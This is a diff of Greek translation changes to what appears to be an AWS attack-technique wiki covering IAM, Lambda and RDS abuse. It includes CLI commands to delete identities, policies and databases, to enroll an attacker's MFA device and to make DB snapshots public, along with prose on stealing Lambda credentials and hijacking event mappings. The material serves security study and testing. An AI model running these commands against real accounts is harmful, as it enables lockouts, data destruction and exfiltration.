Ένας κοινός τρόπος για να αποφευχθούν τα προβλήματα Confused Deputy είναι η χρήση μιας συνθήκης με `AWS:SourceArn` για να ελεγχθεί το ARN προέλευσης. Ωστόσο, **κάποιες υπηρεσίες μπορεί να μην το υποστηρίζουν** (όπως το CloudTrail σύμφωνα με κάποιες πηγές).
|
||||
Ένας κοινός τρόπος για να αποφύγετε προβλήματα Confused Deputy είναι η χρήση μιας συνθήκης με `AWS:SourceArn` για να ελεγχθεί το origin ARN. Ωστόσο, **κάποιες υπηρεσίες μπορεί να μην το υποστηρίζουν** (όπως το CloudTrail σύμφωνα με ορισμένες πηγές).
|
||||
|
||||
### Διαγραφή Διαπιστευτηρίων
|
||||
Με οποιοδήποτε από τα παρακάτω permissions — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — ένας χρήστης μπορεί να αφαιρέσει κλειδιά πρόσβασης, προφίλ σύνδεσης, κλειδιά SSH, service-specific credentials, instance profiles, πιστοποιητικά ή public keys του CloudFront, ή να αποσυνδέσει ρόλους από instance profiles. Τέτοιες ενέργειες μπορούν να μπλοκάρουν άμεσα νόμιμους χρήστες και εφαρμογές και να προκαλέσουν denial-of-service ή απώλεια πρόσβασης για συστήματα που εξαρτώνται από αυτά τα διαπιστευτήρια, οπότε αυτά τα IAM permissions πρέπει να είναι αυστηρά περιορισμένα και επιτηρούμενα.
|
||||
### Διαγραφή διαπιστευτηρίων
|
||||
Με οποιαδήποτε από τις ακόλουθες άδειες — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — ένας actor μπορεί να αφαιρέσει access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates ή CloudFront public keys, ή να αποσυνδέσει roles από instance profiles. Τέτοιες ενέργειες μπορούν να μπλοκάρουν άμεσα νόμιμους χρήστες και εφαρμογές και να προκαλέσουν denial-of-service ή απώλεια πρόσβασης για συστήματα που εξαρτώνται από αυτά τα credentials, γι' αυτό αυτές οι IAM permissions πρέπει να περιορίζονται αυστηρά και να παρακολουθούνται.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
@@ -99,8 +99,8 @@ aws iam delete-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### Διαγραφή Ταυτότητας
|
||||
Με δικαιώματα όπως `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` ή `iam:RemoveUserFromGroup`, ένας παράγοντας μπορεί να διαγράψει χρήστες, ρόλους ή ομάδες — ή να αλλάξει τη συμμετοχή σε ομάδα — αφαιρώντας ταυτότητες και σχετικά ίχνη. Αυτό μπορεί να διακόψει άμεσα την πρόσβαση για ανθρώπους και υπηρεσίες που εξαρτώνται από αυτές τις ταυτότητες, προκαλώντας denial-of-service ή απώλεια πρόσβασης, επομένως αυτές οι ενέργειες IAM πρέπει να περιορίζονται και να παρακολουθούνται αυστηρά.
|
||||
### Διαγραφή ταυτότητας
|
||||
Με δικαιώματα όπως `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, ή `iam:RemoveUserFromGroup`, ένας παράγοντας μπορεί να διαγράψει χρήστες, ρόλους ή ομάδες — ή να αλλάξει τη συμμετοχή σε ομάδα — αφαιρώντας ταυτότητες και τα συνοδευτικά τους ίχνη. Αυτό μπορεί να διακόψει άμεσα την πρόσβαση για άτομα και υπηρεσίες που εξαρτώνται από αυτές τις ταυτότητες, προκαλώντας denial-of-service ή απώλεια πρόσβασης, οπότε αυτές οι IAM ενέργειες πρέπει να περιορίζονται αυστηρά και να παρακολουθούνται.
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
@@ -115,7 +115,7 @@ aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
###
|
||||
Με οποιοδήποτε από τα ακόλουθα δικαιώματα — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — ένας παράγοντας μπορεί να διαγράψει ή να αποσυνδέσει managed/inline policies, να αφαιρέσει policy versions ή permissions boundaries, και να αποσυνδέσει policies από users, groups, ή roles. Αυτό καταστρέφει εξουσιοδοτήσεις και μπορεί να αλλάξει το μοντέλο δικαιωμάτων, προκαλώντας άμεση απώλεια πρόσβασης ή denial-of-service για principals που εξαρτώνταν από αυτές τις πολιτικές, γι' αυτό αυτές οι IAM ενέργειες πρέπει να είναι αυστηρά περιορισμένες και να παρακολουθούνται.
|
||||
Με οποιαδήποτε από τις ακόλουθες permissions — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — ένας δράστης μπορεί να διαγράψει ή να αποσυνδέσει managed/inline policies, να αφαιρέσει policy versions ή permissions boundaries, και να αποσυνδέσει policies από users, groups ή roles. Αυτό καταστρέφει εξουσιοδοτήσεις και μπορεί να αλλάξει το permissions model, προκαλώντας άμεση απώλεια πρόσβασης ή denial-of-service για principals που εξαρτώνταν από αυτές τις policies, οπότε αυτές οι IAM ενέργειες πρέπει να περιορίζονται αυστηρά και να παρακολουθούνται.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
@@ -127,8 +127,8 @@ aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### Διαγραφή Ομοσπονδιακής Ταυτότητας
|
||||
Με τις `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, και `iam:RemoveClientIDFromOpenIDConnectProvider`, ένας παράγοντας μπορεί να διαγράψει παρόχους ταυτότητας OIDC/SAML ή να αφαιρέσει client IDs. Αυτό διακόπτει την ομοσπονδιακή αυθεντικοποίηση, εμποδίζοντας την επικύρωση των tokens και αποκλείοντας άμεσα την πρόσβαση σε χρήστες και υπηρεσίες που βασίζονται στο SSO μέχρι να επαναφερθεί ο IdP ή οι ρυθμίσεις.
|
||||
### Federated Identity Deletion
|
||||
Με `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, και `iam:RemoveClientIDFromOpenIDConnectProvider`, ένας δράστης μπορεί να διαγράψει παρόχους ταυτότητας OIDC/SAML ή να αφαιρέσει client IDs. Αυτό διακόπτει την ομοσπονδοποιημένη αυθεντικοποίηση, εμποδίζοντας την επικύρωση token και οδηγώντας σε άμεση άρνηση πρόσβασης σε χρήστες και υπηρεσίες που βασίζονται στο SSO μέχρι να αποκατασταθεί ο IdP ή οι ρυθμίσεις.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
@@ -138,8 +138,8 @@ aws iam delete-open-id-connect-provider \
|
||||
aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### Μη εξουσιοδοτημένη ενεργοποίηση MFA
|
||||
Με την ενέργεια `iam:EnableMFADevice`, ένας επιτιθέμενος μπορεί να καταχωρήσει μια συσκευή MFA στην ταυτότητα ενός χρήστη, αποτρέποντας τον νόμιμο χρήστη από το να συνδεθεί. Μόλις ενεργοποιηθεί μια μη εξουσιοδοτημένη συσκευή MFA, ο χρήστης μπορεί να αποκλειστεί μέχρι να αφαιρεθεί ή να επαναρυθμιστεί η συσκευή (σημείωση: αν έχουν καταχωρηθεί πολλαπλές συσκευές MFA, η σύνδεση απαιτεί μόνο μία, οπότε αυτή η επίθεση δεν θα έχει αποτέλεσμα στον αποκλεισμό της πρόσβασης).
|
||||
### Μη εξουσιοδοτημένη Ενεργοποίηση MFA
|
||||
Με το `iam:EnableMFADevice`, ένας δράστης μπορεί να εγγράψει μια συσκευή MFA στην ταυτότητα ενός χρήστη, εμποδίζοντας τον νόμιμο χρήστη να συνδεθεί. Μόλις ενεργοποιηθεί μια μη εξουσιοδοτημένη συσκευή MFA, ο χρήστης μπορεί να αποκλειστεί μέχρι να αφαιρεθεί ή να επαναρυθμιστεί η συσκευή (σημείωση: εάν καταχωρηθούν πολλές συσκευές MFA, για τη σύνδεση απαιτείται μόνο μία, οπότε αυτή η επίθεση δεν θα έχει αποτέλεσμα στον αποκλεισμό πρόσβασης).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
@@ -147,8 +147,8 @@ aws iam enable-mfa-device \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Παραποίηση Μεταδεδομένων Πιστοποιητικού/Κλειδιού
|
||||
Με τα `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, ένας επιτιθέμενος μπορεί να αλλάξει την κατάσταση ή τα μεταδεδομένα δημοσίων κλειδιών και πιστοποιητικών. Με το να σημειώσει κλειδιά/πιστοποιητικά ως ανενεργά ή να τροποποιήσει αναφορές, μπορεί να διακόψει την πιστοποίηση SSH, να ακυρώσει τις επικυρώσεις X.509/TLS και να διαταράξει άμεσα υπηρεσίες που εξαρτώνται από αυτά τα διαπιστευτήρια, προκαλώντας απώλεια πρόσβασης ή διαθεσιμότητας.
|
||||
### Παραποίηση μεταδεδομένων πιστοποιητικού/κλειδιού
|
||||
Με τις `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, ένας δράστης μπορεί να αλλάξει την κατάσταση ή τα μεταδεδομένα των δημόσιων κλειδιών και πιστοποιητικών. Με την επισήμανση κλειδιών/πιστοποιητικών ως ανενεργά ή την τροποποίηση αναφορών, μπορούν να διακόψουν την αυθεντικοποίηση SSH, να ακυρώσουν τους ελέγχους εγκυρότητας X.509/TLS και να διαταράξουν άμεσα υπηρεσίες που εξαρτώνται από αυτά τα διαπιστευτήρια, προκαλώντας απώλεια πρόσβασης ή διαθεσιμότητας.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
@@ -159,6 +159,33 @@ aws iam update-server-certificate \
|
||||
--server-certificate-name <Certificate_Name> \
|
||||
--new-path /prod/
|
||||
```
|
||||
### `iam:Delete*`
|
||||
|
||||
Το IAM wildcard iam:Delete* δίνει τη δυνατότητα να αφαιρεθούν πολλοί τύποι πόρων IAM — χρήστες, ρόλοι, ομάδες, πολιτικές, κλειδιά, πιστοποιητικά, συσκευές MFA, εκδόσεις πολιτικών κ.λπ. — και ως εκ τούτου έχει πολύ μεγάλο blast radius: ένας παράγοντας που του έχει χορηγηθεί iam:Delete* μπορεί να καταστρέψει μόνιμα ταυτότητες, διαπιστευτήρια, πολιτικές και σχετικά αντικείμενα, να αφαιρέσει audit/evidence, και να προκαλέσει διακοπές υπηρεσίας ή λειτουργίας. Μερικά παραδείγματα είναι
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user --user-name <Username>
|
||||
|
||||
# Delete a role
|
||||
aws iam delete-role --role-name <RoleName>
|
||||
|
||||
# Delete a managed policy
|
||||
aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
|
||||
```
|
||||
### `iam:EnableMFADevice`
|
||||
|
||||
Ένας παράγων που του έχει χορηγηθεί η ενέργεια iam:EnableMFADevice μπορεί να εγγράψει μια συσκευή MFA σε μια ταυτότητα στον λογαριασμό, εφόσον ο χρήστης δεν είχε ήδη κάποια ενεργοποιημένη. Αυτό μπορεί να χρησιμοποιηθεί για να παρεμποδίσει την πρόσβαση ενός χρήστη: μόλις ένας attacker εγγράψει μια συσκευή MFA, ο νόμιμος χρήστης ενδέχεται να εμποδιστεί από το να πραγματοποιήσει σύνδεση επειδή δεν ελέγχει την attacker-registered MFA.
|
||||
|
||||
Αυτή η επίθεση άρνησης πρόσβασης λειτουργεί μόνο αν ο χρήστης δεν είχε καμία MFA εγγεγραμμένη· αν ο attacker εγγράψει μια συσκευή MFA για εκείνον τον χρήστη, ο νόμιμος χρήστης θα αποκλειστεί από οποιεσδήποτε ροές που απαιτούν αυτή τη νέα MFA. Εάν ο χρήστης ήδη διαθέτει μια ή περισσότερες συσκευές MFA υπό τον έλεγχό του, η προσθήκη μιας attacker-controlled MFA δεν μπλοκάρει τον νόμιμο χρήστη — μπορεί να συνεχίσει να πιστοποιείται χρησιμοποιώντας οποιαδήποτε MFA έχει ήδη.
|
||||
|
||||
Για να ενεργοποιήσει (εγγράψει) μια συσκευή MFA για έναν χρήστη, ένας attacker θα μπορούσε να εκτελέσει:
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
--serial-number arn:aws:iam::111122223333:mfa/alice \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
## Αναφορές
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
+18
-12
@@ -12,21 +12,27 @@
|
||||
|
||||
### Exfilrtate Lambda Credentials
|
||||
|
||||
Το Lambda χρησιμοποιεί μεταβλητές περιβάλλοντος για να εισάγει credentials κατά το runtime. Αν έχετε πρόσβαση σ' αυτές (διαβάζοντας `/proc/self/environ` ή χρησιμοποιώντας τη vulnerable function), μπορείτε να τις χρησιμοποιήσετε εσείς. Βρίσκονται στα προεπιλεγμένα ονόματα μεταβλητών `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, και `AWS_ACCESS_KEY_ID`.
|
||||
Lambda χρησιμοποιεί μεταβλητές περιβάλλοντος για να εισάγει διαπιστευτήρια κατά το χρόνο εκτέλεσης. Αν αποκτήσετε πρόσβαση σε αυτές (διαβάζοντας `/proc/self/environ` ή χρησιμοποιώντας την ίδια την ευπαθή function), μπορείτε να τις χρησιμοποιήσετε οι ίδιοι. Βρίσκονται στις προεπιλεγμένες μεταβλητές `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID`.
|
||||
|
||||
Κατά προεπιλογή, αυτές θα έχουν πρόσβαση να γράφουν σε ένα cloudwatch log group (το όνομα του οποίου αποθηκεύεται στο `AWS_LAMBDA_LOG_GROUP_NAME`), καθώς και να δημιουργούν αυθαίρετα log groups, ωστόσο οι lambda functions συχνά έχουν περισσότερα permissions εκχωρημένα βάσει της προοριζόμενης χρήσης τους.
|
||||
Κατά προεπιλογή, αυτές θα έχουν πρόσβαση για εγγραφή σε ένα cloudwatch log group (το όνομα του οποίου αποθηκεύεται στο `AWS_LAMBDA_LOG_GROUP_NAME`), καθώς και δικαίωμα δημιουργίας αυθαίρετων log groups. Ωστόσο, lambda functions συχνά έχουν περισσότερα δικαιώματα ανατεθειμένα βάσει της προοριζόμενης χρήσης τους.
|
||||
|
||||
### Steal Others Lambda URL Requests
|
||||
### `lambda:Delete*`
|
||||
Ένας attacker στον οποίο έχει παραχωρηθεί το lambda:Delete* μπορεί να διαγράψει Lambda functions, versions/aliases, layers, event source mappings και άλλες σχετικές ρυθμίσεις.
|
||||
```bash
|
||||
aws lambda delete-function \
|
||||
--function-name <LAMBDA_NAME>
|
||||
```
|
||||
### Κλοπή αιτημάτων URL άλλων Lambda
|
||||
|
||||
Αν ένας attacker κατά κάποιο τρόπο καταφέρει να αποκτήσει RCE μέσα σε ένα Lambda, θα μπορεί να κλέψει τα HTTP requests άλλων χρηστών προς το lambda. Αν τα requests περιέχουν ευαίσθητες πληροφορίες (cookies, credentials...) θα μπορεί να τα αποσπάσει.
|
||||
Εάν ένας επιτιθέμενος με κάποιον τρόπο καταφέρει να αποκτήσει RCE εντός ενός Lambda, θα μπορεί να κλέψει τα HTTP requests άλλων χρηστών προς το Lambda. Εάν τα requests περιέχουν ευαίσθητες πληροφορίες (cookies, credentials...) θα μπορεί να τα κλέψει.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Steal Others Lambda URL Requests & Extensions Requests
|
||||
### Κλοπή αιτημάτων URL άλλων Lambda και αιτημάτων Extensions
|
||||
|
||||
Καταχρώμενοι τα Lambda Layers είναι επίσης δυνατό να καταχραστείτε extensions και να παραμείνετε στο Lambda, καθώς και να κλέψετε και να τροποποιήσετε requests.
|
||||
Με την κατάχρηση των Lambda Layers είναι επίσης δυνατό να καταχραστείτε extensions, να παραμείνετε στο Lambda και να κλέψετε/τροποποιήσετε requests.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
@@ -34,7 +40,7 @@ aws-warm-lambda-persistence.md
|
||||
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
|
||||
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
|
||||
Εξαναγκάστε μια Lambda function να εξέλθει από ένα περιορισμένο VPC ενημερώνοντας τη διαμόρφωσή της με ένα κενό VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Η function θα τρέξει τότε στο Lambda-managed networking plane, ανακτώντας την εξερχόμενη πρόσβαση στο internet και παρακάμπτοντας τους ελέγχους egress που επιβάλλονται από ιδιωτικά VPC subnets χωρίς NAT.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
@@ -42,7 +48,7 @@ aws-lambda-vpc-egress-bypass.md
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
|
||||
Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence.
|
||||
Καταχραστείτε `lambda:PutRuntimeManagementConfig` για να pinάρετε μια function σε συγκεκριμένη έκδοση runtime (Manual) ή να παγώσετε ενημερώσεις (FunctionUpdate). Αυτό διατηρεί συμβατότητα με κακόβουλα layers/wrappers και μπορεί να κρατήσει τη function σε παρωχημένο, ευάλωτο runtime για να διευκολύνει exploitation και long-term persistence.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
@@ -50,7 +56,7 @@ aws-lambda-runtime-pinning-abuse.md
|
||||
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
Καταχραστείτε τα advanced logging controls του `lambda:UpdateFunctionConfiguration` για να ανακατευθύνετε τα logs μιας function σε ένα CloudWatch Logs log group που έχει επιλεγεί από τον attacker. Αυτό λειτουργεί χωρίς αλλαγή του code ή του execution role (οι περισσότερες Lambda roles ήδη περιλαμβάνουν `logs:CreateLogGroup/CreateLogStream/PutLogEvents` μέσω `AWSLambdaBasicExecutionRole`). Αν η function τυπώνει secrets/request bodies ή καταρρέει με stack traces, μπορείτε να τα συλλέξετε από το νέο log group.
|
||||
Καταχραστείτε `lambda:UpdateFunctionConfiguration` και τα προηγμένα logging controls για να ανακατευθύνετε τα logs μιας function σε έναν CloudWatch Logs log group που επιλέγει ο επιτιθέμενος. Αυτό λειτουργεί χωρίς αλλαγή του κώδικα ή του execution role (οι περισσότερες Lambda roles ήδη περιλαμβάνουν `logs:CreateLogGroup/CreateLogStream/PutLogEvents` μέσω `AWSLambdaBasicExecutionRole`). Εάν η function εκτυπώνει secrets/request bodies ή καταρρέει με stack traces, μπορείτε να τα συλλέξετε από το νέο log group.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
@@ -58,7 +64,7 @@ aws-lambda-loggingconfig-redirection.md
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Μετατρέψτε ένα private Lambda Function URL σε public unauthenticated endpoint αλλάζοντας το Function URL AuthType σε NONE και προσθέτοντας μια resource-based policy που δίνει lambda:InvokeFunctionUrl σε όλους. Αυτό επιτρέπει anonymous invocation εσωτερικών functions και μπορεί να εκθέσει ευαίσθητες backend operations.
|
||||
Μετατρέψτε ένα private Lambda Function URL σε δημόσιο, unauthenticated endpoint αλλάζοντας το Function URL AuthType σε NONE και επισυνάπτοντας μια resource-based policy που παραχωρεί lambda:InvokeFunctionUrl σε όλους. Αυτό επιτρέπει ανώνυμη invocation εσωτερικών functions και μπορεί να εκθέσει ευαίσθητες backend λειτουργίες.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
@@ -66,7 +72,7 @@ aws-lambda-function-url-public-exposure.md
|
||||
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
|
||||
Καταχραστείτε το `UpdateEventSourceMapping` για να αλλάξετε τη στοχευόμενη Lambda function ενός υπάρχοντος Event Source Mapping (ESM), έτσι ώστε records από DynamoDB Streams, Kinesis, ή SQS να παραδίδονται σε μια attacker-controlled function. Αυτό αποκλίνει αθόρυβα live data χωρίς να πειράζει τους producers ή τον αρχικό function code.
|
||||
Καταχραστείτε `UpdateEventSourceMapping` για να αλλάξετε τη target Lambda function ενός υπάρχοντος Event Source Mapping (ESM), ώστε τα records από DynamoDB Streams, Kinesis ή SQS να παραδίδονται σε μια function ελεγχόμενη από επιτιθέμενο. Αυτό αποκλίνει σιωπηλά live δεδομένα χωρίς να αγγίζει τους producers ή τον αρχικό κώδικα της function.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-hijack.md
|
||||
@@ -74,7 +80,7 @@ aws-lambda-event-source-mapping-hijack.md
|
||||
|
||||
### AWS Lambda – EFS Mount Injection data exfiltration
|
||||
|
||||
Καταχραστείτε το `lambda:UpdateFunctionConfiguration` για να επισυνάψετε ένα υπάρχον EFS Access Point σε ένα Lambda, και στη συνέχεια αναπτύξτε trivial code που θα λιστάρει/διαβάζει αρχεία από το mounted path για να exfiltrate κοινόχρηστα secrets/config που η function προηγουμένως δεν μπορούσε να προσπελάσει.
|
||||
Καταχραστείτε `lambda:UpdateFunctionConfiguration` για να επισυνάψετε ένα υπάρχον EFS Access Point σε ένα Lambda, και στη συνέχεια αναπτύξτε έναν απλό κώδικα που παραθέτει/διαβάζει αρχεία από το mounted path για να exfiltrate κοινόχρηστα secrets/config που η function προηγουμένως δεν μπορούσε να προσπελάσει.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
|
||||
+102
-66
@@ -12,7 +12,7 @@
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Εάν ο επιτιθέμενος έχει αρκετά δικαιώματα, μπορεί να κάνει μια **DB δημόσια προσβάσιμη** δημιουργώντας ένα snapshot της DB και στη συνέχεια μια δημόσια προσβάσιμη DB από το snapshot.
|
||||
Εάν ο attacker έχει αρκετά permissions, μπορεί να κάνει μια **DB δημόσια προσβάσιμη** δημιουργώντας ένα snapshot της DB και στη συνέχεια μια δημόσια προσβάσιμη DB από το snapshot.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -38,11 +38,47 @@ aws rds modify-db-instance \
|
||||
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
### `rds:StopDBCluster` & `rds:StopDBInstance`
|
||||
Ένας επιτιθέμενος με rds:StopDBCluster ή rds:StopDBInstance μπορεί να αναγκάσει την άμεση διακοπή μιας RDS instance ή ολόκληρου του cluster, προκαλώντας μη διαθεσιμότητα της βάσης δεδομένων, κομμένες συνδέσεις και διακοπή διεργασιών που εξαρτώνται από τη βάση δεδομένων.
|
||||
|
||||
Για να σταματήσετε μία μεμονωμένη DB instance (παράδειγμα):
|
||||
```bash
|
||||
aws rds stop-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
|
||||
```
|
||||
Για να σταματήσετε ολόκληρο ένα DB cluster (παράδειγμα):
|
||||
```bash
|
||||
aws rds stop-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
|
||||
```
|
||||
### `rds:Delete*`
|
||||
|
||||
Ένας επιτιθέμενος στον οποίο έχει χορηγηθεί το rds:Delete* μπορεί να καταργήσει πόρους RDS, διαγράφοντας DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups και σχετικά artifacts, προκαλώντας άμεση διακοπή υπηρεσίας, απώλεια δεδομένων, καταστροφή recovery points και απώλεια forensic evidence.
|
||||
```bash
|
||||
# Delete a DB instance (creates a final snapshot unless you skip it)
|
||||
aws rds delete-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_ID> \
|
||||
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID> # omit or replace with --skip-final-snapshot to avoid snapshot
|
||||
|
||||
# Delete a DB instance and skip final snapshot (more destructive)
|
||||
aws rds delete-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_ID> \
|
||||
--skip-final-snapshot
|
||||
|
||||
# Delete a manual DB snapshot
|
||||
aws rds delete-db-snapshot \
|
||||
--db-snapshot-identifier <DB_SNAPSHOT_ID>
|
||||
|
||||
# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
|
||||
aws rds delete-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_ID> \
|
||||
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID> # or use --skip-final-snapshot
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
Ένας επιτιθέμενος με αυτά τα δικαιώματα θα μπορούσε να **δημιουργήσει ένα snapshot ενός DB** και να το κάνει **δημόσια** **διαθέσιμο**. Στη συνέχεια, θα μπορούσε απλώς να δημιουργήσει στον δικό του λογαριασμό ένα DB από αυτό το snapshot.
|
||||
Ένας επιτιθέμενος με αυτά τα δικαιώματα θα μπορούσε να **δημιουργήσει ένα snapshot μιας DB** και να το καταστήσει **δημόσια** **διαθέσιμο**. Στη συνέχεια, θα μπορούσε απλώς να δημιουργήσει στον δικό του λογαριασμό μια DB από αυτό το snapshot.
|
||||
|
||||
Ακόμα κι αν ο επιτιθέμενος **δεν έχει το `rds:CreateDBSnapshot`**, μπορεί παρόλα αυτά να κάνει **άλλα** δημιουργημένα snapshots **δημόσια**.
|
||||
Αν ο επιτιθέμενος **δεν έχει το `rds:CreateDBSnapshot`**, μπορεί παρ' όλα αυτά να κάνει **άλλα** δημιουργημένα snapshots **δημόσια**.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -53,48 +89,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
Ένας επιτιθέμενος με το δικαίωμα `rds:DownloadDBLogFilePortion` μπορεί να κατεβάσει τμήματα των αρχείων καταγραφής ενός instance του RDS. Εάν ευαίσθητα δεδομένα ή διαπιστευτήρια πρόσβασης καταγραφούν κατά λάθος, ο επιτιθέμενος θα μπορούσε ενδεχομένως να χρησιμοποιήσει αυτές τις πληροφορίες για να κλιμακώσει τα προνόμιά του ή να εκτελέσει μη εξουσιοδοτημένες ενέργειες.
|
||||
Ένας επιτιθέμενος με την άδεια `rds:DownloadDBLogFilePortion` μπορεί να **download portions of an RDS instance's log files**. Εάν ευαίσθητα δεδομένα ή διαπιστευτήρια πρόσβασης καταγραφούν κατά λάθος, ο επιτιθέμενος θα μπορούσε ενδεχομένως να χρησιμοποιήσει αυτές τις πληροφορίες για να αυξήσει τα προνόμιά του ή να πραγματοποιήσει μη εξουσιοδοτημένες ενέργειες.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Πιθανός Αντίκτυπος**: Πρόσβαση σε ευαίσθητες πληροφορίες ή μη εξουσιοδοτημένες ενέργειες χρησιμοποιώντας leaked credentials.
|
||||
**Potential Impact**: Πρόσβαση σε ευαίσθητες πληροφορίες ή μη εξουσιοδοτημένες ενέργειες χρησιμοποιώντας leaked διαπιστευτήρια.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να **DoS existing RDS instances**.
|
||||
Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να **DoS υπάρχουσες RDS instances**.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
